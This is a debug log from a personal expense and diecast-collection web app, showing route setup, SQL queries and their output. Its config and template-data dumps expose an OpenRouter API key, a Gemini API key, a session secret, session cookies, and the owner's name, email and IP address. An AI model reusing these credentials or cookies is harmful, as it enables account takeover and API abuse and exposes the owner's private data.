2026-05-18T06:00:19.965Z server-connect:router Serving serverConnect /api/masters/get-items
2026-05-18T06:00:19.967Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-05-18T06:00:19.967Z server-connect:app Executing action step identify
2026-05-18T06:00:19.967Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:19.968Z server-connect:output identity: 1
2026-05-18T06:00:19.968Z server-connect:app Executing action step restrict
2026-05-18T06:00:19.968Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-18T06:00:19.968Z server-connect:app Executing action step identify
2026-05-18T06:00:19.968Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:19.968Z server-connect:output identity: 1
2026-05-18T06:00:19.968Z server-connect:app Executing action step restrict
2026-05-18T06:00:19.968Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-18T06:00:19.969Z server-connect:output restrict: undefined
2026-05-18T06:00:19.970Z server-connect:app Executing action step single
2026-05-18T06:00:19.970Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-05-18T06:00:19.973Z server-connect:output restrict: undefined
2026-05-18T06:00:19.973Z server-connect:app Executing action step select
2026-05-18T06:00:19.973Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-05-18T06:00:19.974Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-05-18T06:00:19.979Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'School Dress', item_id: 662, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  ... 573 more items
]
2026-05-18T06:00:35.003Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-18T06:00:35.184Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-18T06:00:35.275Z server-connect:setup:upload Upload middleware configured.
2026-05-18T06:00:35.275Z server-connect:secure CSRF Protection initialized
2026-05-18T06:00:35.277Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-18T06:00:35.279Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-18T06:00:35.279Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-18T06:00:35.280Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-18T06:00:35.280Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-18T06:00:35.281Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-18T06:00:35.282Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-18T06:00:35.283Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-18T06:00:35.283Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-18T06:00:35.286Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-18T06:00:35.286Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-18T06:00:35.292Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-18T06:00:35.292Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-18T06:00:35.292Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-18T06:00:35.293Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-18T06:00:35.293Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-18T06:00:35.293Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-18T06:00:35.293Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-18T06:00:35.294Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-18T06:00:35.294Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-18T06:00:35.294Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-18T06:00:35.295Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-18T06:00:35.295Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-18T06:00:35.295Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-18T06:00:35.295Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-18T06:00:35.296Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-18T06:00:35.296Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-18T06:00:35.296Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-18T06:00:35.296Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-18T06:00:35.296Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-18T06:00:35.297Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-18T06:00:35.297Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-18T06:00:35.297Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-18T06:00:35.321Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-18T06:00:35.322Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-18T06:00:35.322Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-18T06:00:35.322Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-18T06:00:35.323Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-18T06:00:35.426Z server-connect:router Serving templateView /diecast-reports
2026-05-18T06:00:35.429Z server-connect:app Executing action step identify
2026-05-18T06:00:35.429Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:35.431Z server-connect:output identity: 1
2026-05-18T06:00:35.431Z server-connect:app Executing action step restrict
2026-05-18T06:00:35.431Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-18T06:00:35.433Z server-connect:output restrict: undefined
2026-05-18T06:00:35.433Z server-connect:router Render template diecast-reports
2026-05-18T06:00:35.434Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA; your_r_git.sid=s%3AkeIcRQoCTG5q5mgddYpzVhJ1UZ3tjxVJ.WWrucxsutPMuYZ1Ha7A7zP1SIh6RLoCoVlPByauYUe0',
    'x-forwarded-for': '49.43.182.136',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-19T06:00:16.910Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.182.136',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA; your_r_git.sid=s%3AkeIcRQoCTG5q5mgddYpzVhJ1UZ3tjxVJ.WWrucxsutPMuYZ1Ha7A7zP1SIh6RLoCoVlPByauYUe0',
    'HTTP_X_FORWARDED-FOR': '49.43.182.136',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-05-18T06:00:35.767Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-05-18T06:00:35.767Z server-connect:app Executing action step identify
2026-05-18T06:00:35.768Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:35.768Z server-connect:output identity: 1
2026-05-18T06:00:35.768Z server-connect:app Executing action step restrict
2026-05-18T06:00:35.768Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-18T06:00:35.769Z server-connect:output restrict: undefined
2026-05-18T06:00:35.770Z server-connect:app Executing action step custom
2026-05-18T06:00:35.770Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-05-18T06:00:35.775Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 195, name: 'Majorette Castheads Gift Set', total: 5 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 107, name: 'HW EV', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 193, name: 'Majorette Black Edition Gift Set', total: 5 },
  { series: 194, name: 'Majorette Mercedes AMG Gift Set', total: 5 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 92, name: 'Fantasy', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 179, name: 'HW Euro', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 }
]
2026-05-18T06:00:40.143Z server-connect:router Serving templateView /diecast-worksheet
2026-05-18T06:00:40.144Z server-connect:app Executing action step identify
2026-05-18T06:00:40.144Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:40.144Z server-connect:output identity: 1
2026-05-18T06:00:40.144Z server-connect:app Executing action step restrict
2026-05-18T06:00:40.144Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-18T06:00:40.145Z server-connect:output restrict: undefined
2026-05-18T06:00:40.145Z server-connect:router Render template diecast-worksheet
2026-05-18T06:00:40.145Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-worksheet',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA; your_r_git.sid=s%3AkeIcRQoCTG5q5mgddYpzVhJ1UZ3tjxVJ.WWrucxsutPMuYZ1Ha7A7zP1SIh6RLoCoVlPByauYUe0',
    'x-forwarded-for': '49.43.182.136',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-19T06:00:16.910Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.182.136',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
